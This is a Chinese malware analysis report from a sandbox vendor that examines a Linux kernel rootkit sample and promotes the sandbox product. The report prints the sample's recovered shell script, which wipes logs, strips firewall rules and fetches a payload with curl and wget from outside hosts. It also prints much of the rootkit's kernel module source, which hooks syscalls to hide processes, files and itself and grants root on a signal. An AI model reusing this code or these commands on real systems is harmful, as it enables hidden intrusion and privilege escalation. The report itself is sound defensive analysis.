一、概述
Linux内核级rootkit技术是一种极为高级的黑客攻击技术,它能够打破Linux系统的安全防御,实现对系统和用户的完全控制。相较于用户态rootkit,内核级的rootkit在操作系统内核层进行操控,更难被发现。一旦成功安装,rootkit就可以在操作系统内核中运行,更加持久和难以清除,并且由于存在于内核级别,它能够篡改内存数据和内核模块,控制权更高,危害更大。
天穹沙箱研究人员使用天穹Linux沙箱深入分析了该类型样本,在分析报告中详细列举了样本的攻击手段和触发方式。由于此类样本比较典型,本次我们选取一个样本为例,向大家展示天穹沙箱的样本分析能力,并解读沙箱分析报告中的各类结果数据。
二、样本信息
本次我们以下面的样本为例,通过分析报告向大家展示linux沙箱检测内核劫持的行为效果,结合人工分析,进一步验证沙箱分析结果的正确性。样本基本信息:
- SHA1:49e85f2af8013444a859e07dc052894377d044e7
- 文件名:775087dae7f08f651ee4170a9ef726b6.x86_64-64.elf
- 文件类型:x86_64-64.elf
- 文件大小:32.54 KB
三、样本分析
1、样本投递
天穹沙箱开箱即用,为能更好地体现沙箱的分析能力,我们选择Linux Ubuntu18.04 x86_64 Fast 快速分析模式,如图1所示。

2、综合评价
打开样本分析报告,在综合评价部分可以看到,沙箱使用Ubuntu18.04 x86_64的快速分析环境,在标签部分的动态行为描述中可看到有调整iptables、下载文件、执行程序编译、写入可执行文件以及插入内核模块等恶意行为。通过多维度检测引擎鉴定,将测试样本判定为危险样本。如图2所示。

3、动态行为
展开动态行为类目的执行程序行可以看到样本执行了大量的bash shell命令,如下图所示。

由此我们怀疑样本本身是一个shell脚本,使用shc类型的工具编译后形成当前的elf二进制样本。使用开源shc解密工具(可参考extractSHC工具)尝试对样本进行还原,得到如下shell命令。经比较,与沙箱捕获的执行shell命令一致。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | #!/bin/bashrm -rf /var/www/html/config.json
 rm -rf /root/.xmrig.json
 rm -rf /root/.config/xmrig.json
 rm -rf /var/log/messages*
 rm -rf /var/log/secure*
 rm -rf /var/log/auth.log*
 rm -rf /var/log/syslog*
 echo "fs.file-max = 2097152" > /etc/sysctl.conf
 sysctl -p
 ulimit -SHn 1024000
 mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
 mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
 sleep 1
 iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 
 /* 代码过长,此处省略 */
 
 /"$EXE" 2>/dev/null 1>/dev/null&
 sleep 2
 pidof "$EXE" > /tmp/.X0_locks
 rm -rf /"$EXE"
 kill -53 10000000
 if grep -q "iptable_reject" "/proc/modules"; then
 echo "M exists"
 kill -41 `cat /tmp/.X0_locks`
 kill -53 10000000
 else
 echo "M not exists"
 module_install
 kill -53 10000000
 if grep -q "iptable_reject" "/proc/modules"; then
 echo "M exists"
 kill -41 `cat /tmp/.X0_locks`
 kill -53 10000000
 else
 echo "M not installed check errors 2"
 fi
 fi
 fi
 sudo journalctl --vacuum-time=1s
 
 
 | 
3.1 shell命令分析
拿到shell脚本后,我们对其攻击逻辑以及攻击意图进行分析。首先,shell脚本删除了与挖矿工具相关的配置文件xmrig.config和系统日志文件,并使用sysctl和ulimit命令设置了系统和进程可使用的文件描述符上限。然后使用iptables命令查看并删除了丢弃特定源ip流量的入站规则,以使得后续下载pn.zip不被拦截。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | # 删除配置文件rm -rf /var/www/html/config.json
 # 删除xmrig挖矿工具相关配置文件
 rm -rf /root/.xmrig.json
 rm -rf /root/.config/xmrig.json
 # 删除系统日志
 rm -rf /var/log/messages*
 rm -rf /var/log/secure*
 rm -rf /var/log/auth.log*
 rm -rf /var/log/syslog*
 # 修改系统可打开的文件描述符上限值
 echo "fs.file-max = 2097152" > /etc/sysctl.conf
 sysctl -p
 # 修改进程可打开的文件描述符上限值
 ulimit -SHn 1024000
 mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
 mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
 sleep 1
 # 查看入站流量规则并删除丢弃特定源IP流量的入站规则
 iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
 mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
 mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
 
 | 
接下来shell脚本判断目标文件iptable_reject是否存在,如果不存在,将从以下几个链接尝试下载pn.zip,解压后使用pn.zip中的iptable_reject文件替换原始文件,然后后台启动iptable_reject进程。
由于以下链接均已失效,pn.zip下载失败,未能创建iptable_reject用户进程。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 
 | # hhide变量的值取自进程启动时的第一个参数,不提供参数的情况下取值为ad12e85f# 判断目录/etc/ad12e85f是否存在,不存在则创建
 DIR3="/etc/$hhide"
 if [ -d "$DIR3" ]; then
 echo "folder  ok"
 else
 mkdir "$DIR3"
 fi
 # 获取随机数
 EXE=`echo $RANDOM | md5sum | head -c 8`
 # 获取/tmp/.X0_locks文件中存储的值作为pid
 PID=`cat /tmp/.X0_locks`
 mama=$2
 if [ -e "/proc/$PID/status" ]; then
 echo "process exists"
 else
 # 省略部分代码
 echo "process not exists"
 # 判断/etc/ad12e85f/iptable_reject文件是否存在
 FILE1="/etc/$hhide/iptable_reject"
 if [ -f "$FILE1" ]; then
 echo "PI exists."
 else
 echo "PI does not exist."
 # iptable_reject文件不存在,尝试从以下链接下载pn.zip包,并从中提取iptable_reject文件
 curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
 FILE="/tmp/pn.zip"
 # 获取/tmp/pn.zip文件的大小
 FILESIZE=$(stat -c%s "$FILE")
 if (( FILESIZE > "1000000")); then
 echo "zip exists."
 else
 echo "zip does not exist."
 rm -rf "$FILE"
 wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
 fi
 if (( FILESIZE > "1000000")); then
 echo "zip exists."
 else
 echo "zip does not exist."
 rm -rf "$FILE"
 curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
 fi
 if (( FILESIZE > "1000000")); then
 echo "zip exists."
 else
 echo "zip does not exist."
 rm -rf "$FILE"
 wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
 fi
 if (( FILESIZE > "1000000")); then
 echo "zip exists."
 else
 echo "zip does not exist."
 rm -rf "$FILE"
 curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
 fi
 if (( FILESIZE > "1000000")); then
 echo "zip exists."
 else
 echo "zip does not exist."
 rm -rf "$FILE"
 wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
 fi
 cd /tmp/
 # 解压pn.zip到/tmp目录,使用解压后的iptable_reject文件替换/etc/ad12e85f/iptable_reject
 unzip -qq -o pn.zip
 rm -rf pn.zip
 mv iptable_reject "$FILE1"
 fi
 FILE2="/$EXE"
 if [ -f "$FILE2" ]; then
 echo "MD exists."
 else
 echo "MD does not exist."
 cp "$FILE1" /"$EXE"
 fi
 # 后台启动iptable_reject进程
 /"$EXE" 2>/dev/null 1>/dev/null&
 sleep 2
 # 将iptable_reject进程pid写入到/tmp/.X0_locks文件中
 pidof "$EXE" > /tmp/.X0_locks
 # 删除iptable_reject磁盘文件
 rm -rf /"$EXE"
 /* 处理驱动信息 */
 fi
 
 | 
启动iptable_reject进程后,shell脚本开始处理关联驱动iptable_reject.ko。通过查询/proc/modules内存文件判断是否存在iptable_reject内核模块,如果存在,则使用kill命令发送信号值41以隐藏iptable_reject用户进程,并发送信号值53给特殊进程号10000000,具体操作及作用见后面分析。如果查询该模块不存在,则执行模块编译安装操作,确认模块安装成功后再发送特定信号。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | kill -53 10000000# 从/proc/modules内存文件中查询iptable_reject驱动是否存在
 if grep -q "iptable_reject" "/proc/modules"; then
 echo "M exists"
 kill -41 `cat /tmp/.X0_locks`
 kill -53 10000000
 else
 echo "M not exists"
 # iptable_reject驱动不存在时,调用module_install处理函数编译并安装该驱动
 module_install
 # kill命令发送信号值53告诉iptable_reject驱动,将驱动添加回模块链表中,方便查看是否加载成功
 kill -53 10000000
 # 再次查询驱动信息
 if grep -q "iptable_reject" "/proc/modules"; then
 echo "M exists"
 # kill命令发送信号值41给iptable_reject进程,驱动拦截后将iptable_reject进程隐藏
 kill -41 `cat /tmp/.X0_locks`
 # 将驱动模块从模块链表中摘除,隐藏自身
 kill -53 10000000
 else
 echo "M not installed check errors 2"
 fi
 fi
 
 | 
最后通过journalctl设置不记录日志信息,以抹除系统对样本行为的日志记录。
| 1
 | sudo journalctl --vacuum-time=1s
 | 
3.2 驱动内容分析
iptable_reject.ko驱动文件作为该样本的重要组成部分,不仅帮助样本隐藏其用户层相关进程和文件,还提供提升root权限功能。shell脚本的module_install()函数实现了驱动编译和安装功能,将驱动源码信息分别写入到iptable_reject.h和iptable_reject.c文件,并创建Makefile进行编译,最后调用insmod命令安装驱动后删除所有相关文件。
iptable_reject.h文件内容如下,主要是声明了一些结构体和设置了宏定义。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | mkdir /tmp/acat <<EOF >>/tmp/a/iptable_reject.h
 struct linux_dirent {
 unsigned long   d_ino;
 unsigned long   d_off;
 unsigned short  d_reclen;
 char            d_name[1];
 };
 
 #define MAGIC_PREFIX "hhide"
 
 #define PF_INVISIBLE 0x10000000
 
 #define MODULE_NAME "iptable_reject"
 
 enum {
 SIGINVIS = 41,
 SIGSUPER = 54,
 SIGMODINVIS = 53,
 };
 
 #ifndef IS_ENABLED
 #define IS_ENABLED(option) \
 (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
 #endif
 
 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
 #define KPROBE_LOOKUP 1
 #include <linux/kprobes.h>
 static struct kprobe kp = {
 .symbol_name = "kallsyms_lookup_name"
 };
 #endif
 EOF
 
 sed -i -e"s/hhide/$(echo $hhide)/" /tmp/a/iptable_reject.h
 
 | 
iptable_reject.c文件实现了rootkit的具体功能,从iptable_reject.c文件前部可以看出,该驱动文件适配了绝大多数linux内核,并且支持在ARM64环境上编译运行。在iptable_reject_init()初始化函数中可以看出,该驱动主要是劫持了系统调用表sys_getdents、sys_getdnets64以及sys_kill这3项,并通过从modules_list中摘除自身以达到隐藏驱动的目的。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 
 | cat <<EOF >>/tmp/a/iptable_reject.c#include <linux/sched.h>
 #include <linux/module.h>
 #include <linux/syscalls.h>
 #include <linux/dirent.h>
 #include <linux/slab.h>
 #include <linux/version.h>
 
 #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
 #include <asm/uaccess.h>
 #endif
 
 #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
 #include <linux/proc_ns.h>
 #else
 #include <linux/proc_fs.h>
 #endif
 
 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
 #include <linux/file.h>
 #else
 #include <linux/fdtable.h>
 #endif
 
 #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
 #include <linux/unistd.h>
 #endif
 
 #ifndef __NR_getdents
 #define __NR_getdents 141
 #endif
 
 #include "iptable_reject.h"
 
 #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
 
 unsigned long cr0;
 #elif IS_ENABLED(CONFIG_ARM64)
 
 void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
 unsigned long start_rodata;
 unsigned long init_begin;
 #define section_size init_begin - start_rodata
 #endif
 static unsigned long *__sys_call_table;
 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
 typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
 static t_syscall orig_getdents;
 static t_syscall orig_getdents64;
 static t_syscall orig_kill;
 #else
 typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
 unsigned int);
 typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
 struct linux_dirent64 *, unsigned int);
 typedef asmlinkage int (*orig_kill_t)(pid_t, int);
 orig_getdents_t orig_getdents;
 orig_getdents64_t orig_getdents64;
 orig_kill_t orig_kill;
 #endif
 
 
 
 static int __init
 iptable_reject_init(void)
 {
 
 __sys_call_table = get_syscall_table_bf();
 if (!__sys_call_table)
 return -1;
 
 #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
 cr0 = read_cr0();
 #elif IS_ENABLED(CONFIG_ARM64)
 update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
 start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
 init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
 #endif
 
 module_hide();
 tidy();
 
 
 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
 orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
 orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
 orig_kill = (t_syscall)__sys_call_table[__NR_kill];
 #else
 orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
 orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
 orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
 #endif
 
 unprotect_memory();
 
 __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
 __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
 __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
 
 protect_memory();
 
 return 0;
 }
 
 static void __exit
 iptable_reject_cleanup(void)
 {
 unprotect_memory();
 
 __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
 __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
 __sys_call_table[__NR_kill] = (unsigned long) orig_kill;
 
 protect_memory();
 }
 
 module_init(iptable_reject_init);
 module_exit(iptable_reject_cleanup);
 
 MODULE_LICENSE("Dual BSD/GPL");
 MODULE_AUTHOR("m0nad");
 MODULE_DESCRIPTION("LKM rootkit");
 EOF
 
 | 
内核劫持函数才是样本实施攻击、掩盖自身的最大帮凶,接下来,我们细致分析一下3个劫持函数分别作了什么操作。
hacked_getdents() / hacked_getdents64():
这两个函数通过劫持原始sys_getdents()和sys_getdents64()的结果数据,遍历其数据内容,抹除/proc/下要隐藏的目标进程信息以及文件名包含MAGIC_PREFIX指定的文件信息。利用这两个劫持函数,用户进程iptable_reject就可以实现隐身,也可以将相关配置文件和操作文件等“抹除”,让用户查看不到它们的存在。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 
 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
 #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
 int fd = (int) pt_regs->di;
 struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
 #elif IS_ENABLED(CONFIG_ARM64)
 int fd = (int) pt_regs->regs[0];
 struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
 #endif
 int ret = orig_getdents64(pt_regs), err;
 #else
 asmlinkage int
 hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
 unsigned int count)
 {
 
 int ret = orig_getdents64(fd, dirent, count), err;
 #endif
 unsigned short proc = 0;
 unsigned long off = 0;
 struct linux_dirent64 *dir, *kdirent, *prev = NULL;
 struct inode *d_inode;
 
 if (ret <= 0)
 return ret;
 
 kdirent = kzalloc(ret, GFP_KERNEL);
 if (kdirent == NULL)
 return ret;
 
 err = copy_from_user(kdirent, dirent, ret);
 if (err)
 goto out;
 
 #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
 d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
 #else
 d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
 #endif
 if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
 )
 proc = 1;
 
 while (off < ret) {
 dir = (void *)kdirent + off;
 
 
 
 
 if ((!proc &&
 (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
 || (proc &&
 is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
 if (dir == kdirent) {
 ret -= dir->d_reclen;
 memmove(dir, (void *)dir + dir->d_reclen, ret);
 continue;
 }
 prev->d_reclen += dir->d_reclen;
 } else
 prev = dir;
 off += dir->d_reclen;
 }
 err = copy_to_user(dirent, kdirent, ret);
 if (err)
 goto out;
 out:
 kfree(kdirent);
 return ret;
 }
 
 | 
hacked_kill():
该函数通过劫取kill()调用发送的信号值执行具体的操作。见下表所示。
| 信号值 | 执行操作 | 
| 41 | 将信号值后指定的进程设置为不可见 | 
| 54 | 将当前进程权限提升为root权限 | 
| 53 | 切换内核驱动iptable_reject.ko的可见状态 | 
| 其他值 | 执行默认处理流程 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)asmlinkage int
 hacked_kill(const struct pt_regs *pt_regs)
 {
 #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
 pid_t pid = (pid_t) pt_regs->di;
 int sig = (int) pt_regs->si;
 #elif IS_ENABLED(CONFIG_ARM64)
 pid_t pid = (pid_t) pt_regs->regs[0];
 int sig = (int) pt_regs->regs[1];
 #endif
 #else
 asmlinkage int
 hacked_kill(pid_t pid, int sig)
 {
 #endif
 struct task_struct *task;
 switch (sig) {
 case SIGINVIS:
 if ((task = find_task(pid)) == NULL)
 return -ESRCH;
 
 task->flags ^= PF_INVISIBLE;
 break;
 case SIGSUPER:
 give_root();
 break;
 case SIGMODINVIS:
 if (module_hidden) module_show();
 else module_hide();
 break;
 default:
 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
 return orig_kill(pt_regs);
 #else
 return orig_kill(pid, sig);
 #endif
 }
 return 0;
 }
 
 
 | 
除劫持系统调用表项外,样本驱动还将自身从模块链表中摘除,以躲避用户层的模块查询。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | static inline voidtidy(void)
 {
 
 kfree(THIS_MODULE->sect_attrs);
 THIS_MODULE->sect_attrs = NULL;
 }
 
 static struct list_head *module_previous;
 static short module_hidden = 0;
 void
 module_show(void)
 {
 
 list_add(&THIS_MODULE->list, module_previous);
 module_hidden = 0;
 }
 
 void
 module_hide(void)
 {
 module_previous = THIS_MODULE->list.prev;
 
 list_del(&THIS_MODULE->list);
 module_hidden = 1;
 }
 
 | 
通过以上源码分析,结合天穹沙箱动态行为监控结果,可见沙箱确实捕获到了样本驱动的恶意劫持行为,如下图所示。

3.3 vnc操作验证
那样本驱动到底存不存在呢?我们接入vnc从以下几个方面验证:
首先执行grep iptable_reject /proc/modules命令查看是否存在该驱动,从上面的分析结果看,shell脚本加载驱动后通过kill -53 10000000命令告知驱动隐藏自身,所以第一次执行grep命令显示不存在该驱动。我们执行kill -53 10000000命令告知驱动显示自身后再查看,发现内核中存在该驱动,如下图:

然后创建名为ad12e85f的文件并向其写入内容,执行文件查看命令并未查看到该文件,但根据文件路径查看文件内容却能正常输出,可见驱动确实劫持了目录查询流程,隐藏了特定前缀的文件信息,如下图所示:

同理,我们选择一个系统常驻进程,此处我们以sshd进程为例,使用pidof sshd查看sshd进程号,结果显示sshd进程存在,其进程号为610。执行kill -41 pid后再次查看,发现sshd进程被隐藏,如下图所示:

最后我们验证样本驱动的提权能力,使用id命令查看当前进程(当前终端)的权限信息,执行kill -54 pid后再次查看,发现当前进程权限被提升为root权限,如下图所示:

四、IOC
| 12
 3
 4
 
 | 775087dae7f08f651ee4170a9ef726b6                            (原始样本)example.established[.]site	                            下载链接
 w.amax[.]fun	                                            下载链接
 172.104.170[.]240:80	                                    下载链接
 
 | 
参考案例链接:天穹沙箱报告 (内部访问)
五、总结
在本案例中,通过分析样本和沙箱报告,我们可以看到天穹沙箱具备检测内核rootkit劫持攻击的能力,上述内容也展示了如何利用这些分析能力和分析结果鉴别恶意样本。天穹沙箱支持多种处理器架构和操作系统,在ARM64信创沙箱银河麒麟V10中也支持检测内核劫持功能,同样可以对样本进行全面、高效、深入的全自动分析,欢迎大家使用,期待你的探索和反馈!
六、技术支持与反馈
星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每位样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。
天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。
天穹内网地址(使用域账号登录):https://sandbox.qianxin-inc.cn
天穹公网地址(联系我们申请账号):https://sandbox.qianxin.com